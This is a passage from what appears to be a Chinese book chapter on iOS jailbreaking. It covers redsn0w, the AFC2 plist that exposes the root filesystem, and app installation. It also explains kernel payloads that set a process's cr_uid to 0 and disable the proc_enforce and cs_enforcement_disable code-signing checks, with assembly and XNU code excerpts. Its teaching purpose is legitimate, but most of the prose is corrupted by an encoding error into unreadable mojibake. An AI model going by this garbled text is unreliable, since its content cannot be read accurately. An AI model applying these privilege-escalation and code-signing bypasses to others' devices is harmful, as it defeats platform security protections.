com.apple.afc2నҫ˿ǌᤇ௦˓௾᤯ᄉ.plist஠͇Ὃځ൤Ժ̾ၸ᧪ࠪ.plist஠͇ᄉಕэࢹХ੊API
ᤈᛠνஇǌڙredsn0wࢹХ˖Ὃ௦᤯᣾Փឞ஠͇˖ຊҪ̾ʽ̼ᆉ߶ᜈᤇᮉளనҫᄉὙ 

<key>com.apple.afc2</key> 

<dict> 

    <key>AllowUnactivatedService</key> 

    <true /> 

    <key>Label</key> 

    <string>com.apple.afc2</string> 

    <key>ProgramArguments</key> 

    <array> 

        <string>/usr/libexec/afcd</string> 

        <string>--lockdown</string> 

        <string>-d</string> 

        <string>/</string> 

    </array> 

</dict> 

ᑞଡΘ஠͇ጆፑᄉᡔ࿜֖ளᄉAFC2నҫὋᏪ˄ʿᭉ᜵੯ᛠలኣՏࡂԵ᜵ኤӬஇԪᦠᎵ˝ځ

ᄉ̃ᤈ҃஠͇Ὃ੝̾߱͂ڙ᧗ըՐᦏᤆᑞᡐͺၸὋၴᒯڙ᝹ܫ෤థ߸Ꮎᡔ࿜Ժၸௐᦏ෤థ᫇ᮤǌ�

10.3.6� ᅝ㺙෎ᴀᅲ⫼Ꮉ݋ 

ᔰ౦МՂࣲ෤థ˝iPhoneଡΘUNIX shellὋ੝̾௃য˪಩஠͇ጆፑᄉ/bin֖/usr/binᄫे˖і˪

௦ቆᄉὋࣲలӉդܷࠑᝢ˝ᑞڙᤇ̎ᄫे˖ᄹҁᄉԺ੯ᛠ̃ᤈ҃஠͇ǌ̂ࠃʼὋ5.0.1ྟᄉiOSԵ
 ᤇ̎ᄫे˖ᮔᜈ˿5˓Ժ੯ᛠ஠͇Ὑڙ

� /bin/launchctl 
� /usr/bin/awd_ice3 
� /usr/bin/DumpBasebandCrash 
� /usr/bin/powerlog 
� /usr/bin/simulatecrash 
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1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

ХὋࢹၸࠃဗ۲ఴҩᑞᄉࠃᤇ̎ᄫे˖߶ᜈʶ̎ڙХ᤯࣡͗ࢹ൤ὋϷredsn0wᤇಧᄉᡔ࿜ځ

ᤇ̎۲ఴࠃၸࢹХᑞᝧᡔ࿜஠͇ᄉ߶ᜈԪ३ఝኤӬǌʽ᭦ѴѢᄉࢹХ௦̯redsn0w ramdiskʼᄉ

ᡔ࿜̃ᤈ҃஠͇˖ଡԨѢ౎ᄉὋᤇ̎ࡂ௦redsn0w᜵߶ᜈᄉ۲ఴࠃၸࢹХǌᏪᡔ࿜̃ᤈ҃஠͇˖

˶͗ၸҁᤇ̎ࢹХὋඊழឬၸ౎ᝌԌtarߚುὋ੊௦νஇ.plist஠͇ᄉЮࠓǌ 
� /bin/mv 
� /bin/cp 
� /bin/tar 
� /bin/gzip 
� /bin/gunzip 
� /usr/sbin/nvram 
� /usr/bin/codesign_allocate 
� /usr/bin/ldid 
� /usr/bin/plutil 
ᬓ˿ᤇ̎஠͇Ὃ߱ᤆ߶ᜈ˿Ф̴ʶ̎ं֖஠͇ὋᏪ߱͂Եڙᡔ࿜ௐథၸὋʿ௦ଡΘፋUNIX 

shell΍ၸᏧᄉǌځ൤Ὃੇ͂ڙᤇ᧖෤థѴѢ߱͂ǌథ਒ধᄉ௦Ὃ߽ழྟᄉiOS͇ڌဗڙ˶ࣛథၿ

redsn0w᧗зᄉ/usr/sbin/nvram̃ᤈ҃஠͇ǌ 

10.3.7� ᑨ⫼䕀ᄬ 

ॆःၸ௦̯ᔰ౦ᄉApp Store߶ᜈௐὋ߱ ͂௦ᄯଋ߶ᜈҁ/var/mobile/Applicationsᄫे˖ᄉὋᏪ

ឞᄫेͮ̅iPhoneʼࠓ᧙ᣖܷᄉஜ૵ᦉѫ˖ǌځ൤ὋԺ̾ڙiPhoneʼ߶ᜈܲ࠵ःၸԨф̅ஜ૵ᦉ

ѫథܲ࠵ቆ᫋ቆᫍԺၸǌᤇᦉѫቆᫍ᤯࣡௦̾GB᝟ኪᄉὋځ൤۲ఴʼʿౝ੆̣˥ᬌ҃ǌ 
Ꮺࠪ̅ᥦ̎᤯᣾Cydia὇ᄰॆ̅ᡔ࿜ྟᄉApp StoreὈ߶ᜈᄉᡔ࿜ःၸᏪᝒὋৰх௦ʿʶಧᄉǌ

ᤇ̎ःၸὋඊݟCydiaఴᢵ֖੝థЮᎵ̃ᤈ҃஠͇Ὃᦏ௦߶ᜈڙ಩஠͇ጆፑᄉ/Applicationsᄫे˖

ᄉǌൣݟ˧ґଡ᣾ᄉὋ಩஠͇ጆፑᄉܷ࠴Ԩф͇̅ڌᄉྟఴ֖᝹ܫᄉዜۋǌ᤯࣡ৰхʽὋ߱ᄉܷ

 ቆᫍǌ࠵෤థ˝Ժ߶ᜈᄉःၸ႐ʽܲࡂGBҁ1.5 GB˧ᫍὋФ˖థ200 MB௦ቆ᫋ቆᫍὋᤇ 1ڙ࠴
ᬓ൤˧ܰὋܖጭ֖ᨢܥ஠͇˶ߚϱڙ಩஠͇ጆፑ˖ὋѫѾߚϱڙ /Library/Wallpaper֖

/Library/Ringtonesᄫे˖ǌځ൤Ὃ੝థ᤯᣾Cydia߶ᜈᄉܖጭ੊ᨢܥᦏ͗ᙔᮻࣂፂॡథᬌᄉःၸ߶

ᜈቆᫍǌ 
˝˿ᝌфᤇʶ᫇ᮤὋܲሗᡔ࿜ࢹХࠃဗ˿ʶሗՏ˝þःၸᣀߚÿᄉ఺҃ǌᤇሗ఺҃ᄉধᡸ௦

᤯࣡ͮ̅಩஠͇ጆፑ˖ᄉᔩ࣯ᄫेஉҁឞ࠱iPhoneᄉஜ૵ᦉѫѸतՏ˝/var/stashᄉளᄫेὋࣲڙ

ᄫे˖ǌཨՐὋԓݼᄫे͗ࡂᜁ᤯ՓளͮᎵᄉቿՁᩖଋఢ̼ǌ 
ʽ᭦ѴѢ˿ॆґᜁᣀߚҁ/var/stashᄫे˖ᄉᄫेὙ 
� /Applications 
� /Library/Ringtones 
� /Library/Wallpaper 
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� /usr/include 
� /usr/lib/pam 
� /usr/libexec 
� /usr/share 
ʿ᣾Ὃࣲ ᭣੝థᄉᡔ࿜ࢹХ੊ᤇ̎ࢹХᄉ੝థྟఴᦏᑞ੯ᛠःၸᣀߚǌݟ౦ᡔ࿜ࢹХʿᑞ߸

੆ᤇʶࢹͺὋᥦ˥ڙኃʶ൒ុၸCydiaௐὋCydia͗೜฽ࣲ߸੆ᤇʶࢹͺǌᤇࡂ௦Cydia˖Ᏹௐॡ᫁

ᄉþReorganizing Filesystemÿ὇᧗ளጷጺ஠͇ጆፑὈ൥ᰠǌ 

10.3.8� ᑨ⫼ࣙᅝ㺙 

ᡔ࿜߶ᜈ᣾ርᄉʽʶ൥௦ःၸӉᄉ߶ᜈǌ಩૵੝΍ၸᡔ࿜ࢹХᄉʿՎὋᤇʶ൥௄Ժ̾௦߶ᜈ

ၿᰳቪၸਖ਼ᒬࣁѸतᄉ҃߿ःၸӉὋ˶Ժ̾௦߶ᜈᡔ࿜ࢹХ᤯᳭࣡͗ᝢӉդᄉCydiaःၸӉǌΒ

Хࢹၸࠃredsn0wଋԩᄉःၸӉ௦Ժ̾ၸgzip੩Ӊᄉtarॅು஠͇ǌ߱͂Ժ̾ၿ˧ґ߶ᜈᄉ۲ఴݟ

ᝌԌ᎕Ὃځ൤ᡔ࿜ርࣿʿᭉ᜵ၸ̅ॅು஠͇ᝌԌ᎕ᄉ̼ᆉǌ 
ःၸӉ߶ᜈ᣾ር͗᥅Ԋramdiskʼᄉඇ˓ःၸӉὋʶ˓ଋʶ˓͂߱࠱ڠᝌԌ᎕ǌڙᝌԌ᎕య

ᫍὋtarᜁնᅻ᜵γ૆UNIXᄉాᬌὋᤇᝧःၸӉᦏ᝹Ꮅ˿Ϙ˝rootᄉsuidͮǌCydiaᭉ᜵ᤇʶ᝹

ᎵὋݟ˝ځ౦෤థrootాᬌὋCydia௦෤ก߶ᜈளःၸᄉǌॡథ਒ধᄉ௦Ὃၿ̅ᔰ౦МՂᏫ˿̎

ᔈયὋGUIःၸԺᑞʿ͂߱ڙᄉ˞̃ᤈ҃஠͇˖᝹ᎵsuidͮǌCydiaᄉൣ࣡ࢹͺ᜵ѽၸՏ˝Cydia
ᄉshellᑭఴὋឞᑭఴଋᅋ͗ុၸՏ˝MobileCydiaǋsuid˝rootᄉ˞̃ᤈ҃஠͇ǌ 

ʿ᣾Ὃ࠱ڙःၸӉᝌԌ᎕ҁ/ApplicationsᄫेՐὋःၸӉᄉ߶ᜈࢹͺᤆ෤థ߸੆ǌ߶ᜈᄉः

ၸКᦏॸᮋซбҁྱ൳ᄉКጆፑ߶ᜈᎀߚ˖Ὃឞᎀߚ௦ߚϱڙ/var/mobile/Library/Caches/com. 
apple.mobile.installation.plist஠͇˖ᄉǌᤇ௦˓௾᤯ᄉ.plist஠͇Ὃಪयݟʽ੝ᇧὙ 

<plist version="1.0"> 

<dict> 

    <key>LastDevDirStat</key> 

    <integer>…</integer> 

    <key>Metadata</key> 

    <dict>…</dict> 

    <key>System</key> 

    <dict> 

        <key>com.apple.xxx</key> 

        <dict>…</dict> 

    </dict> 

    <key>User</key> 

    <dict> 

        <key>someuserapp</key> 

        <dict>…</dict> 

    </dict> 

</dict> 

</plist> 

ឞᎀߚӉդʶ˓ௐᫍ੗ǋʶ̎Њஜ૵Ὃ̾Ԣˀ੝థጆፑःၸ֖ၸਖ਼ःၸథСᄉζোǌጆፑः

ၸ ௦ ᥦ ̎ ڙ /Applications ᄫ े ˖ ᄉ ः ၸ Ὃ Ꮺ ၸ ਖ਼ ः ၸ Ѷ ௦ ̯ ᔰ ౦ App Store ʽ ᣑ ҁ
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/var/mobile/Applicationsᄫे˖ᄉǌځ൤Ὃ੝థᄉःၸӉᦏ᜵ڙSystemᎀߚᮉ˖ซбǌڙredsn0w

˖Ὃᤇʶࢹͺ௦᤯᣾ឳԨःၸᄉInfo.plist஠ࣲ͇ѽၸФ˖ӉդᄉζোѸतளᎀߚᮉ߸੆ᄉǌᯪЎὋ

ੇ͂᜵ឳԨCFBundleIdentifierࠚᨄὋࣲ࠱ФၸͺᎀߚᄉளࠚᨄὋཨՐઁϘ˝Systemᄉளࠚ

ᨄApplicationTypeຊҪҁInfo.plist஠͇ᄉߙЦ˖ὋణՐвઁஞ˓ߙЦᄉளЮ҃ܬࠓҁᎀߚ˖ǌ�

10.3.9� ᅝ㺙ৢⱘ䖛⿟ 

зЙᇒᄧǌࣂԦᡐsync()ጆፑុၸὋᆷγ੝థ஠͇ᦏ͗ࡂ੝థᄉ஠͇ՐὋredsn0wݝᜈ߶ڙ

ཨՐὋ಩஠͇ጆፑ͗ᜁ̾Եឳழय᧗ளેଋὋ̾ᆷγ੝థᄉзᎀуӜᦏᜁՎ൥ҁᇒᄧʼǌཨՐὋ

ેଋҁ/varᄫेᄉஜ૵ᦉѫ͗ࡂᜁԨ๖ેଋǌ˝᫸ેଋୱͺܾ᠋Ὃᤇʶ᣾ር͗ʶᄯ᧗ܬὋᄯҁୱ

ͺ੆ҩ੊௦᣹ҁʶ߿ᄉ᧗ណ൒ஜǌ 
ཨՐὋ߱͗ࡂѽၸreboot()ጆፑុၸ᧗ըጆፑὋ߸੆ᡔ࿜ǌࠪ̅ʿ߸Ꮎᡔ࿜౎ឬὋ᝹͗ܫ

᧗ըҁ᭣ᡔ࿜࿃খὋᬓ᭣ࣂ߶ᜈᄉ౼˓ःၸӉᜁल࠭੝ᭉᄉ౼˓஠͇ዃஇ᣾ǌཨՐὋੇ͂ᭉ᜵ѽ

ၸredsn0w࠱ᤋଋڙ᝟ኪ఺ʼ̅ܪᡔ࿜࿃খᄉ᝹ܫ᧗ըǌ 
Ꮺࠪ̅߸Ꮎᡔ࿜ᏪᝒὋ᝹ܫ᧗ըՐ͗ࡂᤈЙᡔ࿜࿃খὋځ˝߶ᜈᄉ౼˓߸Ꮎᡔ࿜໣วஈѣር

Юನ˖੯ᛠ̼ᆉǌڙल࠭᣾ር˖ࠪ౼˓ःၸᤈᛠஈѣὋཨՐѽၸԲʶ˓Юನ໣วஈѣርࣿڙ͗ࣿ

 ǌࠓᝌఝܲˀឞЮನథ஌ᣑᕲᄰСᄉЮ˿࠱10.4ᓫᤆڙࠑܷ

10.4� ᠻ㸠ݙḌ᳝ᬜ䕑㥋੠㸹ϕ 

ᤇ˓˞ᮤ႐ҁఴ࠱ኃ9ብ̭ፀЮನ໣วஈѣௐὋੇࣲ͂෤థᝦ᝶Юನጞᄉథ஌ᣑᕲὋᏪ௦ڙ

ብ౎ᝮǌᤇಧϡᄉԓ̅ڙځ੯ᛠЮನథ஌ᣑᕲ௦ᡔ࿜᣾ር˖ᄽൣ੯ᛠᡔ࿜ࢹͺᄉᦉѫὋځᏪ˶௦

ణ᧗᜵ᄉᦉѫǌൣځ˝ᤇಧὋੇ͂ᝢ˝ڙఴብ˖̭ፀᤇʶ˞ᮤఝ˝Ջ᤟ǌ 
ᙉཨඇሗЮನ໣วஈѣር֖ࣿඇሗథ஌ᣑᕲᦏʿՎὋͭ Х΍ၸᄉЮನጞࢹԺ̾ᄹҁᡔ࿜ࠑܷ

థ஌ᣑᕲ۲ఴʼᦏ͗ᤈᛠ̾ʽ4ᮉࢹͺὙ 
� νܬЮನ࿃খ὚ 
� ଡӣాᬌ὚ 
� ˝Юನ੩ᛩʷ὚ 
� ࣯ыѽᖿڠᤄٿǌ 
ଋʽ౎Ὃੇ͂សጹ̭ፀᤇ4ᮉࢹͺǌ  

10.4.1�  Ḍ⢊ᗕׂ໡ݙ

ᙉཨڙߚʿՎዜۋᄉЮನ໣วὋͭ ᧗з˿౼˓Юನጞѥ˝ځЮನЮᦉ੯ᛠ͉਒̼ᆉ᤯࣡௦ڙ

ஜૈ᧪Ꮺᤴ੆ᄉǌ಩૵໣วዜۋᄉʿՎὋᜁ᧗зᄉѥஜૈ᧪ԺᑞԵ௦ЮನЮߚᄉ૮ڭǌʿ᣾Ὃॡ

ܲௐϊࣲ̂ࠃ᭣ݟ൤ǌϷಖᎀуӜຼѢ੊۶ᎀуӜຼѢᤇዜ໣วज़ज़͗࠭ᒰఝܷӜ۪ԩ૮ǌྱ Ѿ

௦ڙஈѣ۶Њஜ૵ፆౝᄉ۶ᎀуӜຼѢ˖ὋЮನ۶ڙ໣วஈѣ߸੆ՐԺᑞ̅ܪʿሶ߿࿃খὋᤇ௉

௸͗࠭ᒰЮನː᧗ᩱឧᄉѢဗǌ 
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ǌኃʶ൥ःឞ௦ઁᜁڭ੊࿃খ૮ߚ੝लᡐᄉЮ߱ܬᦏᑞνݝ൤Ὃඇ˓Юನ໣วஈѣርࣿణځ

᧗зᄉѥஜૈ᧪ুܬ੆߱ᜁ૮ڭ˧ґᄉϘǌʿ᣾Ὃʶᓉ౎ឬᤇ௦ʿܴᄉǌࠪ̅۶໣วஈѣርࣿᏪ

ᝒὋνܬЮನԺᑞ௦ᮉ᭣࣡ܬఽᄉ͉ҫὋځ˝ᤇ਒։ᅋᭉ᜵νܬԩஈѣᄉ۶Њஜ૵ǌ಩૵ူܪЮ

ನ۶੝΍ၸழกᄉʿՎὋᤇԺᑞᤆᭉ᜵ੲଠЮನЮߚὋᄹᄹథ෤థᭉ᜵в൒᧕உᄉࣂ෹᭚۶Юߚ

 ǌߚЮࡉὋ̯ᏪᆷγЮನʿ͗Ᏹڰ
ᄉಖᎀڙߚ˖ЮನಖԨф̅Хͳᄉ໣วǌጆፑុၸܬᄉৰхʽὋ௦ՠᭉ᜵νڭ۶ஜ૵ԩҁ૮ڙ

уӜຼѢ௦ʿᭉ᜵νܬᄉὋځ˝߱థԺᑞ᤯᣾ઊѢऩ࣡ሎधЮನጲርὋᏪʿ͗࠭ᒰЮನː᧗ᩱឧǌ 

10.4.2� ᴗ䰤ᦤछ 

iPhoneʼᄉ੝థःၸᦏ௦̾mobileǋ_wirelessǋ_mdsnresponder੊_securityd˝ځ

ᤇዜాᬌᣖͯᄉၸਖ਼ᢵ͊ᤁᛠᄉὋ੝̾ࠪڙःၸᤈᛠ໣วஈѣՐ੯ᛠᄉЮನ໣วஈѣርࣿథ஌ᣑ

ᕲ᤯࣡͗ઁᤁᛠ˖ᄉᤈርᄉాᬌଡӣ˝rootၸਖ਼ాᬌǌݟ౦෤థᤇʶ൥ᄉពὋ᧗ளેଋ಩஠͇

ጆፑၸ̅з᝺᫇੊νஇrootၸਖ਼઴థᄉ஠͇ኍୱͺᦏʿԺᑞࠃဗǌᏪᤇˏᮉᦏ௦ѹ൒߶ᜈᡔ࿜

ௐᄉॸ᜵ୱͺǌၸ౎ڙ᧗ըՐγ૆ᡔ࿜࿃খᄉ߸Ꮎᡔ࿜Юನ໣วஈѣርࣿ᤯࣡ࣂፂ௦̾rootၸ

ਖ਼ᢵ͊੯ᛠᄉὋځ൤ʿᭉ᜵ᤇʶ൥ǌ 
̯ЮನЮᦉॡࠓ௛ଡӣॆґൣڙᤁᛠᄉᤈርᄉాᬌǌੇ͂ᭉ᜵ϡᄉࡂ௦νஇᬃҪҁᤈር

proc_tፆౝͳʼᄉњ᝼ὋឞፆౝͳڙXNUຸ̼ᆉᄉ /bsd/sys/proc_internal.h஠͇˖ᜁ߿˦˝

struct procǌ಩૵Юನ໣วஈѣርࣿథ஌ᣑᕲधݼழयᄉʿՎὋథʿՎᄉழय३ҁૈՓॆґ

ᤈርproc_tፆౝͳᄉૈ᧪ǌ̾ ґМधᄉॡܲiOSЮನ໣วஈѣርࣿᦏѽၸ˿ʿՎЮನ໣ว᧗зጆ

ፑុၸᛪ˖ጆፑុၸူܪርࣿᄉڦڠὋཨՐ᤯᣾ុၸᜁ᧗зᄉጆፑុၸᝎԦЮನ໣วஈѣርࣿథ

஌ᣑᕲǌڙᤇሗৰхʽὋԨ३ࠪproc_tፆౝͳᄉ᝺᫇ాࡂʿ௦ᬱ̂˿Ὃځ˝ଡΘፋጆፑុၸܪ

ူርࣿᄉኃʶ˓ԟஜࡂ௦߱ὀ 
᜵३ҁproc_tፆౝͳᄉڦڠὋఝʶᓉᄉழกࡂ௦ុၸ͗ԨٿឞፆౝͳڦڠᄉЮನѥஜ

current_proc()ǌឞѥஜ௦Юನᄉ࠭ѢቿՁὋ੝̾ॡࠓ௛੼ҁǌၿ̅ԓݼᄉЮನ໣วஈѣርࣿ

Ժ̾ᆷ߿Хͳ΍ၸ˿ג˓ྟఴᄉЮನὋځ൤Ժ̾ઁឞѥஜᄉڦڠᆵᎃᆉҁЮನ໣วஈѣርࣿ˖Ὃ

 ᬣ఺ӐᄉǌڦڠЮನ᧖௦෤థ˝ځ
ኃʻሗᖌ३proc_tፆౝͳڦڠᄉழयᭉ᜵ѽၸ᤯᣾sysctlଋԯ෹᭚ᄉЮನڦڠζোǌᤇʶ

੾ࢻᯪЎ௦ၿnoir὇www.phrack.org/issues.html?issue=60&id=06Ὀ᧪ࠪOpenBSDЮನଡѢᄉὋᏪ

Րnemo὇www.phrack.org/issues.html?issue=64&id=11Ὀ᧪ࠪXNUЮನ΍ၸ˿߱ǌᤇሗζো෹᭚ᝧ

ၸਖ਼ቆᫍᄉᤈርԺ̾᤯᣾ኤӬᄉsysctl()ጆፑុၸὋԨٿᤈርproc_tፆౝͳᄉЮನڦڠǌ 
᜵΍ၸឞፆౝͳᄉp_ucred੆տνஇᬃҪᄉࡂՐὋੇ͂ڦڠԨ३ᤈርᄉproc_tፆౝͳڙ

ucredፆౝͳǌੇ ͂Ժ̾᤯᣾proc_ucred()ѥஜ᝺᫇ucredፆౝͳὋ˶ Ժ̾ᄯଋ᝺᫇ឞፆౝͳǌ

ʽ᭦ᄉԥ඼ᎃЮࠓᛪ௙ὋॆڙґᄉiOSྟఴ˖Ὃp_ucredߙൿڙឞፆౝͳ˖ᄉϟሧ᧙௦0x84Ὑ 

_proc_ucred: 

LDR.W           R0, [R0,#0x84] 

BX              LR 
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struct ucredᄉ߿˦Ժ̾ڙ/bsd/sys/ucred.h஠͇˖੼ҁǌᤇ˓߿˦˖ᤆӉդ˿઴థឞᤈር

ᄉᢵ͊ᄉՉሗၸਖ਼ID֖ጷIDὙ�

struct ucred { 
    TAILQ_ENTRY(ucred) cr_link; /* ሞுᆶKAUTH_CRED_HASH_LOCKڦ൧઄ူਨܔփᄲႪ߀໲ */ 

    u_long cr_ref;              /* ᆅᆩऺຕ */ 

 

struct posix_cred { 

    /* 
     * ೞኤොଚൽਦᇀٗኄ૛ਸ๔ڦ໯ᆶాඹ 

     * Ǆ९kauth_cred_get_hashkeyǅ 

    */ 
    uid_t   cr_uid;             /* ᆶၳᆩࢽid */ 

    uid_t   cr_ruid;            /* ኈํᆩࢽid */ 

    uid_t   cr_svuid;           /* ᅙԍ٪ڦᆩࢽid */ 

    short   cr_ngroups;         /* ጧკଚ՗ዐڦፇׯᇵ */ 

    gid_t   cr_groups[NGROUPS]; /* ጧკፇଚ՗ */ 

    gid_t   cr_rgid;            /* ኈํፇid */ 

    gid_t   cr_svgid;           /* ᅙԍ٪ڦፇid */ 

    uid_t   cr_gmuid;           /* ՗๖ፇׯᇵวڦݻUID */ 

    int cr_flags;               /* ೞኤฉڦՔኾ */ 

} cr_posix; 
    struct label   *cr_label;   /* MACՔധ */ 

    /* 
     * ጀᅪǖසࡕሞՔധኮࢫཁेକඪࢆǄأକՔኾǅాඹǈ 

     * ৽ՂႷႪ߀kauth_cred_find() 

     */ 
    struct au_session cr_audit;   /* ᆩࢽอֱຕ਍ */ 

}; 

᜵˝઴థឞᤈርᄉᢵ͊ଡӣాᬌὋੇ͂Ժ̾ઁϟሧ᧙0x0cܪᄉcr_uidߙൿ᝹Ꮅ˝0ǌᤇ᧖

ᄉϟሧ᧙௦0x0cᏪ᭣ܷࠑᝢ˝ᄉ0x08Ὃځ˝TAILQ_ENTRYᄉࠔऎ௦8ߙᓫǌॆཨὋФ̴Њገ˶

௦Ժ̾੩ᛩʷᄉǌʿ᣾ὋʶெuidᜁᎵ˝0Ὃၸਖ਼ቆᫍᄉᤈርࡂᑞѽၸጆፑុၸஇԪ߱ᄉాᬌ˿ǌ�

10.4.3� ЎݙḌᠧ㸹ϕ 

Юನጞథ஌ᣑᕲ˖ణ᧗᜵ᄉᦉѫࡂ௦˝Юನ̼ᆉ֖ஜ૵ःၸЮನጞᛩʷὋࠃᬄڠሄၸ߶К఺

҃Ὃ̯Ꮺ੯ᛠలኣՏᄉ̼ᆉࣲᝧ᝹ܫᡔ࿜ǌᤇࣱ̎౎ὋʿՎᄉᡔ࿜धԦڃ᫲ᦏधԦ˿ᒬࣁ˃థᄉ

ᛩʷᬶὋځ൤ܷܲஜᡔ࿜ࢹХᦏᒬࣛ˿ʿՎᄉЮನᛩʷὋᤇథௐ͗ࣛ౎ʿՎᄉҩᑞǌణ࣡ၸᄉЮ

ನᛩʷᬶ௦ၿcomexधԦᄉὋԟ᜸Githubʼᄉdatautils0ᠪ஧ं὇https://github.com/comex/ 
datautils0Ὀǌឞᛩʷᬶ३ҁ˿ࣸคःၸὋʿ ̨comexᒬࣁᄉhttp://jailbreakme.comၸҁ˿߱ὋᏪ˄ॡ

ܲᆐቂiOSЮನᄉ̠ᦏૅ߱ͺԟᏥǌʿ᣾Ὃᤇ˓ྱ൳ᄉGithubᠪ஧ं˖ᄉᤇ̎ᛩʷԺᑞʿ͗ሧೱ

ҁల౎ྟఴᄉЮನὋځ˝comexڙᔰ౦МՂࠃ˷˿ὋᏪ˄Ӡ˧Л˴ˀᔰ౦ኣᝠ˿ՋጝὋᝧ̴෤ก

ፘ፝˝iPhoneधԦᡔ࿜ࢹХ˿ǌ 
ʿክঞಧὋଋʽ౎ੇ͂͗˝ܷ̭ࠑፀᤇ̎ᛩʷὋࣲᝌ᧕߱͂ᐿՐᄉধᡸὋ̾ᝧܷࠑథᑞҦ˝

̾ՐᄉiOSྟఴᒬ҃ᛩʷᬶǌ 
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1. security.mac.proc_enforce 
sysctlԪ᧙security.mac.proc_enforceଌ҃ᅋ௦ՠࠪᤈርୱͺࠃஶMACን႔ǌڙሄၸ

˧ՐὋՉሗᤈርን႔೜ಉ֖ᬌ҃ᦏʿڙߚܬ˿ǌΒڙݟfork()ǋsetpriority()ǋkill()֖

wait()ጆፑុၸʼڙߚᄉᬌ҃ǌԲܰὋឞԪ᧙ᤆଌ҃ᅋ̼ᆉኣՏBLOBᄉஜߙኣՏ௦ՠᜁᰍ᝼᣾ǌ

 ᨄኣՏ᣾ᄉ̃ᤈ҃஠͇ǌࠚథԺᑞ੯ᛠᥦ̼̎ᆉኣՏBLOB௦̾ᩱឧࡂሄၸՐὋੇ͂ڙ
rootၸਖ਼ᢵ͊ᤁᛠᄉ߸Ꮎᡔ࿜໣วஈѣርࣿ˖ᜁᄹϡʶ్૸̾ڙґᄉiOS˖Ὃᤇ˧4.3ྟڙ

फ़ǌᤇ̎ርࣿԺ̾᤯᣾sysctl()ጆፑុၸሄၸឞԪ᧙ὋᤇಧࡂԺ̾੯ᛠӉդЮನ໣วஈѣርࣿ

ᄉ̃ᤈ҃஠͇˿ǌᤇಧʶ౎ࡂʿᭉ᜵Ϸဗڙᤇಧၸ᭦Փᤄٿᄉழयᎃзஞ˓Юನ໣วஈѣርࣿǌ

˝˿᫽ൢᤇሗஈѣὋᔰ౦МՂ̯iOS 4.3ᡐઁsysctlԪ᧙Ԫ੆Եឳᄉ˿ǌ 
̯Юನథ஌ᣑᕲ˖ሄၸឞԪ᧙˶᫇ᮤʿܷὋࠑܷ˝ځԺ̾ᄯଋ˝ឞԪ᧙ᠱϘ0ǌ׬ʶ᜵߸

੆ᄉࢹͺࡂ௦ᆷ߿ឞԪ᧙ᄉЮڦڠߚǌʶሗԺᑞᄉᝌфழ಴௦ࠪЮನᄉ__sysctl_setൿᤈᛠ

ੲଠὋಉ੼sysctlԪ᧙ᄉ߿˦ԢФڦڠǌځ˝ឞԪ᧙ڙЮನᄉdataൿ˖Ὃ߱঳௦ͮ̅ʶ˓᭡

খڦڠǌ 
2. cs_enforcement_disable˄ݙḌ˅ 
ᮅ᭦ᩱឧူܪርࣿᄉຸ̼ᆉڙ /osfmk/vm/vm_fault.c ஠͇˖ὋФ˖Ӊդ˿ʶ˓Տ˝

cs_enforcement_disableᄉԪ᧙úúଌ҃ᮅ᭦ᩱឧူܪርࣿ௦ՠࠃஶ̼ᆉኣՏǌڙiOSЮನ

˖ὋឞԪ᧙᳭ᝢѹݼӐ˝0Ὃ̾ըၸ̼ᆉኣՏᄉࠃஶǌԥ᣾౎Ὃݟ౦࠱Ф᝹Ꮅ˝᭣ᭅϘὋᤇ͗ࡂ

ሄၸ̼ᆉኣՏᄉࠃஶǌ 
()vm_fault_enterڙᄹҁឞԪ᧙Եၸҁ˿ˏ൒ὋᏪ˄ᦏ௦ၸ͗ࠑಉᄹᤇᦉѫ̼ᆉௐܷڙ

ѥஜ˖ǌʽ᭦ᄉ̼ᆉ௦ኃʶ൒΍ၸឞԪ᧙ᄉͮᎵὋᏪ̼ᆉᄉซ᧕សጹᝌ᧕˿̼ᆉ˖ൣڙԦၶᄉ

̂ৰὙ 

    /* සࡕᆙพԥൎ࣑ǈܸ൐๟๴ڟൎ࣑ԍڦࢺǈ 

     * ৽ՂႷԍࢺᅃၵా٪ᄻ௨๴ဃႀǈኄၵᄻ๟փ੗߀Վڦǈ 

     * ᅺྺߵ਍ۨᅭǈྺକݞኹ࿄ധఁپஓԥጀ෇ǈ  

     * ໲்๟փ੗ႀ෇൐փ੗ኴႜڦᄻă 

     * ස޿ࡕᄻ๟փ੗߀Վڦǈ኱থ࣮ݓन੗ă 

     * փࡗǈ࿢்ு݆૬नඓۨగా٪ᄻ๟ޏ੗ኴႜǈ 

 ഄ૶থǈأ঴ۼت੗ᅜሞ௅ᅃڍ *     

     * ժٗړമᆙพዐᅎأ੗ኴႜԍࢺă 

     * ࿢்ࣷሞ৊ႜPMAP_ENTERኮമྜူׯ௬߾ڦፕ 

     */ 

    if(!cs_enforcement_disable && map_is_switched && map_is_switch_protected  

      && page_immutable(m, prot) && (prot & VM_PROT_WRITE)) 

    { 

        return KERN_CODESIGN_ERROR; 

    } 

᡹᣾Ф͗ࡂ౦᝹Ꮅ˿cs_enforcement_disableಕংὋ̼ᆉݟᆉ˖ᄹҁᄉὋ̼ڙࠑܷݟൣ

̴ᄉ్͇೜ಉǌࠪ̅ʽ᭦ᤇൿ೜ಉਆ᜵੯ᛠᄉᮅ᭦௦ՠలኣՏᄉ̼ᆉ౎ឬὋৰх˶௦ᤇಧὙ�

if (m->cs_tainted ||  

       (( !cs_enforcement_disable && !cs_bypass ) &&  
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 /* ڦǈܸ൐࿢்ထྭ໲๟੗ኴႜڦᄻ๟࿄ധఁ٪ా޿ */)       

       (!m->cs_validated && (prot & VM_PROT_EXECUTE)) || 

       /* …… */  

       (page_immutable(m, prot) && ((prot & VM_PROT_WRITE) || m->wpmapped)) 

       )) 

    ) 

{ 

ᤇˏሗৰхʽὋॆੇ͂᝹Ꮅ˿cs_enforcement_disableԪ᧙ௐὋ੝థᄉγએᦏ͗ᜁሄڙ

ၸǌᏥᘼҁឞԪ᧙ᜁѹݼӐ˝0Ꮺ˄ʿ͗ᜁзЙὋ੝̾߱෤థᜁᎃដ٧͕Ӑ૿ᄽ௦ʹࣳǌځ൤Ὃ

Ժ̾ፋ߱੩ᛩʷ˿ǌࠪ̅iOS 5౎ឬὋcomexࡂХࢹፂͮ̅Юನ̃ᤈ҃஠͇˖˧ՐὋᡔ࿜ࣂ߱ڙ
ф߿ʿв˝ឞԪ᧙੩ᛩʷὋᏪ௦˝೜ಉឞԪ᧙ᄉ̼ᆉ੩ᛩʷǌݟ౦ឞԪ᧙ڙల౎ᄉiOS˖ʿв΍

